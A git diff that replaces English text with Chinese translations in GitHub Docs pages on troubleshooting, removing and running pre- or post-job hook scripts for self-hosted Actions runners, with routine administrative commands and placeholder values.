参数,以检查自托管运行器是否可以访问 {% data variables.product.product_location %} 上所有必需的网络服务。 -In addition to `--check`, you must provide two arguments to the script: +除了 `--check` 外,还必须为脚本提供两个参数: -* `--url` with the URL to your {% data variables.product.company_short %} repository, organization, or enterprise. For example, `--url https://github.com/octo-org/octo-repo`. -* `--pat` with the value of a {% data variables.product.pat_v1 %}, which must have the `workflow` scope{% ifversion pat-v2%}, or a {% data variables.product.pat_v2 %} with workflows read and write access {% endif %}. For example, `--pat ghp_abcd1234`. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." +* `--url`,其中包含指向 {% data variables.product.company_short %} 存储库、组织或企业的 URL。 例如,`--url https://github.com/octo-org/octo-repo`。 +* `--pat`,其中包含必须具有 `workflow` 作用域的个人访问令牌的值。 例如,`--pat ghp_abcd1234`。 有关详细信息,请参阅“[创建个人访问令牌](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)”。 -For example: +例如: {% mac %} {% data reusables.actions.self-hosted-runner-check-mac-linux %} -{% endmac %} -{% linux %} +{% endmac %} {% linux %} {% data reusables.actions.self-hosted-runner-check-mac-linux %} -{% endlinux %} -{% windows %} +{% endlinux %} {% windows %} ```shell -run.cmd --check --url https://github.com/YOUR-ORG/YOUR-REPO --pat GHP_ABCD1234 +run.cmd --check --url https://github.com/octo-org/octo-repo --pat ghp_abcd1234 ``` {% endwindows %} -The script tests each service, and outputs either a `PASS` or `FAIL` for each one. If you have any failing checks, you can see more details on the problem in the log file for the check. The log files are located in the `_diag` directory where you installed the runner application, and the path of the log file for each check is shown in the console output of the script. +该脚本测试每项服务,并为每项服务输出 `PASS` 或 `FAIL`。 如有任何失败的检查,您可以在日志文件中看到更多关于问题的详细信息。 日志文件位于安装了运行器应用程序的 `_diag` 目录中,每个检查的日志文件的路径显示在脚本的控制台输出中。 -If you have any failing checks, you should also verify that your self-hosted runner machine meets all the communication requirements. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-requirements)." +如有任何失败的检查,您也应该验证您自己托管的运行器是否符合所有通信要求。 有关详细信息,请参阅[关于自承载运行器](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-requirements)。 -### Disabling TLS certificate verification -{% ifversion ghes %} -By default, the self-hosted runner application verifies the TLS certificate for {% data variables.product.product_name %}. If your {% data variables.product.product_name %} has a self-signed or internally-issued certificate, you may wish to disable TLS certificate verification for testing purposes. -{% else %} -By default, the self-hosted runner application verifies the TLS certificate for {% data variables.product.product_name %}. If you encounter network problems, you may wish to disable TLS certificate verification for testing purposes. +### 禁用 TLS 证书验证 +{% ifversion ghes %} 默认情况下,自托管运行器应用程序验证 {% data variables.product.product_name %} 的 TLS 证书。 如果您的 {% data variables.product.product_name %} 具有自签名证书或内部颁发的证书,则出于测试目的,您可能希望禁用 TLS 证书验证。 +{% else %} 默认情况下,自托管运行器应用程序验证 {% data variables.product.product_name %} 的 TLS 证书。 如果遇到网络问题,您可能希望禁用 TLS 证书验证以进行测试。 {% endif %} -To disable TLS certification verification in the self-hosted runner application, set the `GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY` environment variable to `1` before configuring and running the self-hosted runner application. +若要在自托管运行器应用程序中禁用 TLS 证书验证,请在配置和运行自托管运行器应用程序之前将 `GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY` 环境变量设置为 `1`。 ```shell export GITHUB_ACTIONS_RUNNER_TLS_NO_VERIFY=1 -./config.sh --url https://github.com/YOUR-ORG/YOUR-REPO --token +./config.sh --url https://github.com/octo-org/octo-repo --token ./run.sh ``` {% warning %} -**Warning**: Disabling TLS verification is not recommended since TLS provides privacy and data integrity between the self-hosted runner application and {% data variables.product.product_name %}. We recommend that you install the {% data variables.product.product_name %} certificate in the operating system certificate store for your self-hosted runner. For guidance on how to install the {% data variables.product.product_name %} certificate, check with your operating system vendor. +警告:不建议禁用 TLS 验证,因为 TLS 在自托管运行器应用程序和 {% data variables.product.product_name %} 之间提供了隐私和数据完整性。 我们建议您在自托管运行器的操作系统证书存储中安装 {% data variables.product.product_name %} 证书。 有关如何安装 {% data variables.product.product_name %} 证书的指导,请咨询您的操作系统供应商。 {% endwarning %} -## Reviewing the self-hosted runner application log files +## 查阅自托管运行应用程序日志文件 -You can monitor the status of the self-hosted runner application and its activities. Log files are kept in the `_diag` directory where you installed the runner application, and a new log is generated each time the application is started. The filename begins with *Runner_*, and is followed by a UTC timestamp of when the application was started. +您可以监控自托管运行器应用程序的状态及其活动。 日志文件保存在你安装运行器应用程序的 `_diag` 目录中,每次启动应用程序时都会生成新的日志。 文件名开头为 Runner_,后接应用程序启动时的 UTC 时间戳。 -For detailed logs on workflow job executions, see the next section describing the *Worker_* files. +有关工作流作业执行的详细日志,请参阅介绍 Worker_ 文件的下一节。 -## Reviewing a job's log file +## 查看作业日志文件 -The self-hosted runner application creates a detailed log file for each job that it processes. These files are stored in the `_diag` directory where you installed the runner application, and the filename begins with *Worker_*. +自托管的运行器应用程序为它处理的每个作业创建详细的日志文件。 这些文件存储在安装运行器应用程序的 `_diag` 目录中,文件名以 Worker_ 开头。 {% linux %} -## Using journalctl to check the self-hosted runner application service +## 使用 journalctl 检查自托管的运行器应用程序服务 -For Linux-based self-hosted runners running the application using a service, you can use `journalctl` to monitor their real-time activity. The default systemd-based service uses the following naming convention: `actions.runner.-..service`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file. For example: +对于使用服务运行应用程序的 Linux 自托管运行器,可以使用 `journalctl` 来监视其实时活动。 基于系统的默认服务使用以下命名约定:`actions.runner.-..service`。 此名称在超过 80 个字符时将被截断,因此查找服务名称的首选方式是检查 .service 文件。 例如: ```shell $ cat ~/actions-runner/.service actions.runner.octo-org-octo-repo.runner01.service ``` -If this fails due to the service being installed elsewhere, you can find the service name in the list of running services. For example, on most Linux systems you can use the `systemctl` command: +如果因为服务安装在其他地方而失败,您可以在运行服务列表中找到服务名称。 例如,在大多数 Linux 系统上,可以使用 `systemctl` 命令: ```shell $ systemctl --type=service | grep actions.runner actions.runner.octo-org-octo-repo.hostname.service loaded active running GitHub Actions Runner (octo-org-octo-repo.hostname) ``` -You can use `journalctl` to monitor the real-time activity of the self-hosted runner: +可使用 `journalctl` 监视自托管运行器的实时活动: ```shell $ sudo journalctl -u actions.runner.octo-org-octo-repo.runner01.service -f ``` -In this example output, you can see `runner01` start, receive a job named `testAction`, and then display the resulting status: +在此示例输出中,可以看到 `runner01` 启动,接收名为 `testAction` 的作业,然后显示结果状态: ```shell Feb 11 14:57:07 runner01 runsvc.sh[962]: Starting Runner listener with startup type: service @@ -135,23 +133,23 @@ Feb 11 16:06:54 runner01 runsvc.sh[962]: 2020-02-11 16:06:54Z: Running job: test Feb 11 16:07:10 runner01 runsvc.sh[962]: 2020-02-11 16:07:10Z: Job testAction completed with result: Succeeded ``` -To view the `systemd` configuration, you can locate the service file here: `/etc/systemd/system/actions.runner.-..service`. -If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service)." +若要查看 `systemd` 配置,可在此处找到服务文件:`/etc/systemd/system/actions.runner.-..service`。 +如果您想要自定义自托管的运行器应用程序服务,不要直接修改此文件。 按照“[将自托管运行器应用程序配置为服务](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service)”中所述的说明进行操作。 {% endlinux %} {% mac %} -## Using `launchd` to check the self-hosted runner application service +## 使用 `launchd` 检查自托管运行器应用程序服务 -For macOS-based self-hosted runners running the application as a service, you can use `launchctl` to monitor their real-time activity. The default launchd-based service uses the following naming convention: `actions.runner.-.`. This name is truncated if it exceeds 80 characters, so the preferred way of finding the service's name is by checking the _.service_ file in the runner directory: +对于将应用程序作为服务运行的 macOS 自托管运行器,可以使用 `launchctl` 来监视其实时活动。 基于 launchd 的默认服务使用以下命名约定:`actions.runner.-.`。 此名称在超过 80 个字符时将被截断,因此查找服务名称的首选方式是检查运行器目录中的 .service 文件: ```shell % cat ~/actions-runner/.service /Users/exampleUsername/Library/LaunchAgents/actions.runner.octo-org-octo-repo.runner01.plist ``` -The `svc.sh` script uses `launchctl` to check whether the application is running. For example: +`svc.sh` 脚本使用 `launchctl` 来检查应用程序是否正在运行。 例如: ```shell $ ./svc.sh status @@ -161,25 +159,25 @@ Started: 379 0 actions.runner.example.runner01 ``` -The resulting output includes the process ID and the name of the application’s `launchd` service. +生成的输出包括进程 ID 和应用程序的 `launchd` 服务的名称。 -To view the `launchd` configuration, you can locate the service file here: `/Users/exampleUsername/Library/LaunchAgents/actions.runner...service`. -If you want to customize the self-hosted runner application service, do not directly modify this file. Follow the instructions described in "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service-1)." +若要查看 `launchd` 配置,可在此处找到服务文件:`/Users/exampleUsername/Library/LaunchAgents/actions.runner...service`。 +如果您想要自定义自托管的运行器应用程序服务,不要直接修改此文件。 按照“[将自托管运行器应用程序配置为服务](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service#customizing-the-self-hosted-runner-service-1)”中所述的说明进行操作。 {% endmac %} {% windows %} -## Using PowerShell to check the self-hosted runner application service +## 使用 PowerShell 检查自托管的运行器应用程序服务 -For Windows-based self-hosted runners running the application as a service, you can use PowerShell to monitor their real-time activity. The service uses the naming convention `GitHub Actions Runner (-.)`. You can also find the service's name by checking the _.service_ file in the runner directory: +对于将应用程序运行为服务的 Windows 自托管运行器,您可以使用 PowerShell 来监控其实时活动。 服务使用命名约定 `GitHub Actions Runner (-.)`。 还可以通过检查运行器目录中的 .service 文件来查找服务的名称: ```shell PS C:\actions-runner> Get-Content .service actions.runner.octo-org-octo-repo.runner01.service ``` -You can view the status of the runner in the Windows _Services_ application (`services.msc`). You can also use PowerShell to check whether the service is running: +可以在 Windows 服务应用程序 (`services.msc`) 中查看运行器的状态。 您也可以使用 PowerShell 来检查服务是否在运行: ```shell PS C:\actions-runner> Get-Service "actions.runner.octo-org-octo-repo.runner01.service" | Select-Object Name, Status @@ -188,7 +186,7 @@ Name Status actions.runner.octo-org-octo-repo.runner01.service Running ``` -You can use PowerShell to check the recent activity of the self-hosted runner. In this example output, you can see the application start, receive a job named `testAction`, and then display the resulting status: +您可以使用 PowerShell 来检查自托管运行器的近期活动。 在此示例输出中,可以看到应用程序启动,接收名为 `testAction` 的作业,然后显示结果状态: ```shell PS C:\actions-runner> Get-EventLog -LogName Application -Source ActionsRunnerService @@ -207,34 +205,34 @@ PS C:\actions-runner> Get-EventLog -LogName Application -Source ActionsRunnerSer {% endwindows %} -## Monitoring the automatic update process +## 监控自动更新过程 -We recommend that you regularly check the automatic update process, as the self-hosted runner will not be able to process jobs if it falls below a certain version threshold. The self-hosted runner application automatically updates itself, but note that this process does not include any updates to the operating system or other software; you will need to separately manage these updates. +建议定期检查自动更新过程,因为如果自托管的运行器低于某个版本阈值,将会无法处理作业。 自托管的运行器应用程序自动更新本身,但请注意,此过程不包括对操作系统或其他软件的任何更新;您需要单独管理这些更新。 -You can view the update activities in the *Runner_* log files. For example: +可以在 Runner_ 日志文件中查看更新活动。 例如: ```shell [Feb 12 12:37:07 INFO SelfUpdater] An update is available. ``` -In addition, you can find more information in the _SelfUpdate_ log files located in the `_diag` directory where you installed the runner application. +此外,还可以在位于安装了运行器应用程序的 `_diag` 目录中的 SelfUpdate 日志文件中找到详细信息。 {% linux %} -## Troubleshooting containers in self-hosted runners +## 自行托管运行器中的容器故障排除 -### Checking that Docker is installed +### 检查 Docker 是否安装 -If your jobs require containers, then the self-hosted runner must be Linux-based and needs to have Docker installed. Check that your self-hosted runner has Docker installed and that the service is running. +如果您的作业需要容器,则自托管的运行器必须基于 Linux,并且需要安装 Docker。 检查自托管运行器是否安装 Docker,以及服务是否正在运行。 -You can use `systemctl` to check the service status: +可以使用 `systemctl` 检查服务状态: ```shell $ sudo systemctl is-active docker.service active ``` -If Docker is not installed, then dependent actions will fail with the following errors: +如果 Docker 未安装,则依赖的操作将因以下错误而失败: ```shell [2020-02-13 16:56:10Z INFO DockerCommandManager] Which: 'docker' @@ -242,15 +240,15 @@ If Docker is not installed, then dependent actions will fail with the following [2020-02-13 16:56:10Z ERR StepsRunner] Caught exception from step: System.IO.FileNotFoundException: File not found: 'docker' ``` -### Checking the Docker permissions +### 检查 Docker 权限 -If your job fails with the following error: +如果作业失败,出现以下错误: ```shell dial unix /var/run/docker.sock: connect: permission denied ``` -Check that the self-hosted runner's service account has permission to use the Docker service. You can identify this account by checking the configuration of the self-hosted runner in `systemd`. For example: +检查自托管运行器的服务帐户是否有使用 Docker 服务的权限。 可以通过检查 `systemd` 中的自托管运行器的配置来识别此帐户。 例如: ```shell $ sudo systemctl show -p User actions.runner.octo-org-octo-repo.runner01.service @@ -260,26 +258,9 @@ User=runner-user {% endlinux %} {% ifversion ghes %} -## Resolving runners that are offline after an upgrade of {% data variables.location.product_location %} +## 解析在 {% data variables.product.product_location %} 升级后处于脱机状态的运行器 {% data reusables.actions.upgrade-runners-before-upgrade-ghes %} -If your runners are offline for this reason, manually update the runners. For more information, see the installation instructions for [the latest release](https://github.com/actions/runner/releases/latest) in the actions/runner repository. +如果运行器出于此原因处于脱机状态,请手动更新运行器。 有关详细信息,请参阅操作/运行器存储库中[最新版本](https://github.com/actions/runner/releases/latest)的安装说明。 {% endif %} - -### Checking which Docker engine is installed on the runner - -If your build fails with the following error: - -```shell -Error: Input required and not supplied: java-version -``` - -Check which Docker engine is installed on your self-hosted runner. To pass the inputs of an action into the Docker container, the runner uses environment variables that might contain dashes as part of their names. The action may not able to get the inputs if the Docker engine is not a binary executable, but is instead a shell wrapper or a link (for example, a Docker engine installed on Linux using `snap`). To address this error, configure your self-hosted runner to use a different Docker engine. - -To check if your Docker engine was installed using `snap`, use the `which` command. In the following example, the Docker engine was installed using `snap`: - -```shell -$ which docker -/snap/bin/docker -``` diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md b/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md index 04b8943ee1..f3fc3b076d 100644 --- a/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md +++ b/translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: Removing self-hosted runners -intro: 'You can permanently remove a self-hosted runner from a repository{% ifversion fpt %} or organization{% elsif ghec or ghes or gahe %}, an organization, or an enterprise{% endif %}.' +title: 删除自托管的运行器 +intro: '您可以从仓库{% ifversion fpt %} 或组织{% elsif ghec or ghes or gahe %}、 组织或{% endif %} 企业永久删除自托管运行器。' redirect_from: - /github/automating-your-workflow-with-github-actions/removing-self-hosted-runners - /actions/automating-your-workflow-with-github-actions/removing-self-hosted-runners @@ -11,92 +11,54 @@ versions: ghec: '*' type: tutorial shortTitle: Remove self-hosted runners +ms.openlocfilehash: d47a2e348f2d1a79342934e70115314d9e62f6f0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145086684' --- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Removing a runner from a repository +## 从仓库中删除运行器 {% note %} -**Note:** {% data reusables.actions.self-hosted-runner-removal-impact %} +注意:{% data reusables.actions.self-hosted-runner-removal-impact %} {% data reusables.actions.self-hosted-runner-auto-removal %} {% endnote %} -To remove a self-hosted runner from a user repository you must be the repository owner. For an organization repository, you must be an organization owner or have admin access to the repository. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." +要从用户仓库删除自托管的运行器,您必须是仓库所有者。 对于组织仓库,您必须是组织所有者或拥有该仓库管理员的权限。 建议您也访问自托管的运行器机器。 有关如何使用 REST API 删除自承载运行器的信息,请参阅“[自承载运行器](/rest/reference/actions#self-hosted-runners)”。 -{% data reusables.actions.self-hosted-runner-reusing %} -{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-runners %} -{% data reusables.actions.settings-sidebar-actions-runner-selection %} -{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} -{% elsif ghae or ghes < 3.4 %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-runners %} -{% data reusables.actions.self-hosted-runner-removing-a-runner %} -{% endif %} +{% data reusables.actions.self-hosted-runner-reusing %} {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5091 %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-runners %} {% data reusables.actions.settings-sidebar-actions-runner-selection %} {% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} {% elsif ghae or ghes < 3.4 %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions-runners %} {% data reusables.actions.self-hosted-runner-removing-a-runner %} {% endif %} -## Removing a runner from an organization +## 从组织中删除运行器 {% note %} -**Note:** {% data reusables.actions.self-hosted-runner-removal-impact %} +注意:{% data reusables.actions.self-hosted-runner-removal-impact %} {% data reusables.actions.self-hosted-runner-auto-removal %} {% endnote %} -To remove a self-hosted runner from an organization, you must be an organization owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see "[Self-hosted runners](/rest/reference/actions#self-hosted-runners)." +要从组织删除自托管的运行器,您必须是组织所有者。 建议您也访问自托管的运行器机器。 有关如何使用 REST API 删除自承载运行器的信息,请参阅“[自承载运行器](/rest/reference/actions#self-hosted-runners)”。 -{% data reusables.actions.self-hosted-runner-reusing %} -{% ifversion fpt or ghes > 3.3 or ghec %} -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.settings-sidebar-actions-runner-selection %} -{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} -{% elsif ghes < 3.4 or ghae %} -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.self-hosted-runner-removing-a-runner %} -{% endif %} +{% data reusables.actions.self-hosted-runner-reusing %} {% ifversion fpt or ghes > 3.3 or ghec %} {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.organizations.settings-sidebar-actions-runners %} {% data reusables.actions.settings-sidebar-actions-runner-selection %} {% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} {% elsif ghes < 3.4 or ghae %} {% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.organizations.settings-sidebar-actions-runners %} {% data reusables.actions.self-hosted-runner-removing-a-runner %} {% endif %} -## Removing a runner from an enterprise +## 从企业中删除运行器 -{% ifversion fpt %} -If you use {% data variables.product.prodname_ghe_cloud %}, you can also remove runners from an enterprise. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise). -{% endif %} -{% ifversion ghec or ghes or ghae %} -{% note %} +{% ifversion fpt %} 如果使用 {% data variables.product.prodname_ghe_cloud %},还可以从企业中删除运行器。 有关详细信息,请参阅 [{% data variables.product.prodname_ghe_cloud %} 文档](/enterprise-cloud@latest/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-enterprise)。 +{% endif %} {% ifversion ghec or ghes or ghae %} {% note %} -**Note:** {% data reusables.actions.self-hosted-runner-removal-impact %} +注意:{% data reusables.actions.self-hosted-runner-removal-impact %} {% data reusables.actions.self-hosted-runner-auto-removal %} {% endnote %} -To remove a self-hosted runner from an enterprise, you must be an enterprise owner. We recommend that you also have access to the self-hosted runner machine. For information about how to remove a self-hosted runner with the REST API, see the enterprise endpoints in the [{% data variables.product.prodname_actions %} REST API](/rest/reference/actions#self-hosted-runners). +要从企业帐户删除自托管运行器,您必须是企业所有者。 建议您也访问自托管的运行器机器。 有关如何使用 REST API 删除自承载运行器的信息,请参阅 [{% data variables.product.prodname_actions %} REST API](/rest/reference/actions#self-hosted-runners) 中的企业终结点。 -{% data reusables.actions.self-hosted-runner-reusing %} -{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.settings-sidebar-actions-runner-selection %} -{% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} -{% elsif ghae or ghes < 3.4 %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.self-hosted-runner-removing-a-runner %} -{% endif %} -{% endif %} +{% data reusables.actions.self-hosted-runner-reusing %} {% ifversion ghec or ghes > 3.3 or ghae-issue-5091 %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.enterprise-accounts.actions-runners-tab %} {% data reusables.actions.settings-sidebar-actions-runner-selection %} {% data reusables.actions.self-hosted-runner-removing-a-runner-updated %} {% elsif ghae or ghes < 3.4 %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.actions-tab %} {% data reusables.enterprise-accounts.actions-runners-tab %} {% data reusables.actions.self-hosted-runner-removing-a-runner %} {% endif %} {% endif %} diff --git a/translations/zh-CN/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md b/translations/zh-CN/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md index ec7997a3c2..708b440e80 100644 --- a/translations/zh-CN/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md +++ b/translations/zh-CN/content/actions/hosting-your-own-runners/running-scripts-before-or-after-a-job.md @@ -1,76 +1,81 @@ --- -title: Running scripts before or after a job -intro: 'Scripts can automatically execute on a self-hosted runner, directly before or after a job.' +title: 在作业之前或之后运行脚本 +intro: 脚本可以直接在作业之前或之后在自托管运行器上自动执行。 versions: feature: job-hooks-for-runners type: tutorial miniTocMaxHeadingLevel: 3 shortTitle: Run a script before or after a job +ms.openlocfilehash: 11b2f63cd70c5276f0626a6016593553d1bedd0c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067648' --- - {% note %} -**Note**: This feature is currently in beta and is subject to change. +注意:此功能目前为 beta 版本,可能会有变动。 {% endnote %} -## About pre- and post-job scripts +## 关于作业前脚本和作业后脚本 -You can automatically execute scripts on a self-hosted runner, either before a job runs, or after a job finishes running. You could use these scripts to support the job's requirements, such as building or tearing down a runner environment, or cleaning out directories. You could also use these scripts to track telemetry of how your runners are used. +可在作业运行之前或在作业完成运行之后,在自托管运行器上自动执行脚本。 可使用这些脚本来满足作业需求,例如生成或关闭运行器环境,或清理目录。 还可使用这些脚本来跟踪运行器使用情况的遥测数据。 -The custom scripts are automatically triggered when a specific environment variable is set on the runner; the environment variable must contain the absolute path to the script. For more information, see "[Triggering the scripts](#triggering-the-scripts)" below. +当运行器上设置了特定环境变量时,自定义脚本会自动触发;环境变量必须包含该脚本的绝对路径。 有关详细信息,请参阅下面的“[触发脚本](#triggering-the-scripts)”。 -The following scripting languages are supported: +支持以下脚本语言: -- **Bash**: Uses `bash` and can fallback to `sh`. Executes by running `-e {pathtofile}`. -- **PowerShell**: Uses `pwsh` and can fallback to `powershell`. Executes by running `-command \". '{pathtofile}'\"`. +- **Bash**:使用 `bash` 并可以回退到 `sh`。 通过运行 `-e {pathtofile}` 执行。 +- **PowerShell**:使用 `pwsh` 并可以回退到 `powershell`。 通过运行 `-command \". '{pathtofile}'\"` 执行。 -## Writing the scripts +## 编写脚本 -Your custom scripts can use the following features: +自定义脚本可以使用以下功能: -- **Environment variables**: Scripts have access to the default environment variables. The full webhook event payload can be found in `GITHUB_EVENT_PATH`. For more information, see "[Environment variables](/actions/learn-github-actions/environment-variables#default-environment-variables)." -- **Workflow commands**: Scripts can use workflow commands. For more information, see ["Workflow commands for {% data variables.product.prodname_actions %}"](/actions/using-workflows/workflow-commands-for-github-actions){% ifversion actions-save-state-set-output-envs %}{% else %}, with the exception of `save-state` and `set-output`, which are not supported by these scripts{% endif %}. Scripts can also use environment files. For more information, see [Environment files](/actions/using-workflows/workflow-commands-for-github-actions#environment-files). +- **环境变量**:脚本有权访问默认环境变量。 完整的 Webhook 事件有效负载可在 `GITHUB_EVENT_PATH` 中找到。 有关详细信息,请参阅“[环境变量](/actions/learn-github-actions/environment-variables#default-environment-variables)”。 +- **工作流命令**:脚本可以使用工作流命令。 有关详细信息,请参阅[“{% data variables.product.prodname_actions %} 的工作流命令”](/actions/using-workflows/workflow-commands-for-github-actions),`save-state` 和 `set-output` 除外(这些脚本不支持)。 脚本还可以使用环境文件。 有关详细信息,请参阅“[环境文件](/actions/using-workflows/workflow-commands-for-github-actions#environment-files)”。 {% note %} -**Note**: Avoid using your scripts to output sensitive information to the console, as anyone with read access to the repository might be able to see the output in the UI logs. +注意:避免使用脚本将敏感信息输出到控制台,因为拥有存储库读取访问权限的任何人都可以在 UI 日志中查看输出。 {% endnote %} -### Handling exit codes +### 处理退出代码 -For pre-job scripts, exit code `0` indicates that the script completed successfully, and the job will then proceed to run. If there is any other exit code, the job will not run and will be marked as failed. To see the results of your pre-job scripts, check the logs for `Set up runner` entries. For more information on checking the logs, see "[Viewing logs to diagnose failures](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)." +对于作业前脚本,退出代码 `0` 指示脚本成功完成并且作业随后继续运行。 如果存在任何其他退出代码,该作业将不会运行,并标记为失败。 要查看作业前脚本的结果,请检查日志中的 `Set up runner` 条目。 有关检查日志的详细信息,请参阅“[查看日志以诊断故障](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)”。 -The [`continue-on-error`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) setting is not supported for use by these scripts. +这些脚本不支持使用 [`continue-on-error`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) 设置。 -## Triggering the scripts +## 触发脚本 -The custom scripts must be located on the runner, but should not be stored in the `actions-runner` application directory. The scripts are executed in the security context of the service account that's running the runner service. +自定义脚本必须位于运行器上,但不应存储在 `actions-runner` 应用程序目录中。 脚本在运行运行器服务的服务帐户的安全性上下文中执行。 {% note %} -**Note**: The triggered scripts are processed synchronously, so they will block job execution while they are running. +注意:触发的脚本是同步处理的,因此它们会在运行时阻止作业执行。 {% endnote %} -The scripts are automatically executed when the runner has the following environment variables containing an absolute path to the script: -- `ACTIONS_RUNNER_HOOK_JOB_STARTED`: The script defined in this environment variable is triggered when a job has been assigned to a runner, but before the job starts running. -- `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`: The script defined in this environment variable is triggered after the job has finished processing. +当运行器具有以下包含脚本绝对路径的环境变量时,脚本会自动执行: +- `ACTIONS_RUNNER_HOOK_JOB_STARTED`:此环境变量中定义的脚本在作业分配给运行器之后且作业开始运行之前触发。 +- `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`:此环境变量中定义的脚本在作业完成处理后触发。 -To set these environment variables, you can either add them to the operating system, or add them to a file named `.env` within the self-hosted runner application directory. For example, the following `.env` entry will have the runner automatically run a script named `cleanup_script.sh` before each job runs: +要设置这些环境变量,可将它们添加到操作系统中,或将它们添加到自托管运行器应用程序目录中名为 `.env` 的文件中。 例如,以下 `.env` 条目将使运行器在每个作业运行之前自动运行一个名为 `cleanup_script.sh` 的脚本: ```bash ACTIONS_RUNNER_HOOK_JOB_STARTED=/cleanup_script.sh ``` -## Troubleshooting +## 故障排除 -### No timeout setting +### 无超时设置 -There is currently no timeout setting available for scripts executed by `ACTIONS_RUNNER_HOOK_JOB_STARTED` or `ACTIONS_RUNNER_HOOK_JOB_COMPLETED`. As a result, you could consider adding timeout handling to your script. +目前没有可供 `ACTIONS_RUNNER_HOOK_JOB_STARTED` 或 `ACTIONS_RUNNER_HOOK_JOB_COMPLETED` 执行的脚本使用的超时设置。 因此,可以考虑向脚本添加超时处理。 -### Reviewing the workflow run log +### 查看工作流运行日志 -To confirm whether your scripts are executing, you can review the logs for that job. The scripts will be listed within separate steps for either `Set up runner` or `Complete runner`, depending on which environment variable is triggering the script. For more information on checking the logs, see "[Viewing logs to diagnose failures](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#viewing-logs-to-diagnose-failures)." +要确认脚本是否正在执行,可查看该作业的日志。 脚本将在 `Set up runner` 或 `Complete runner` 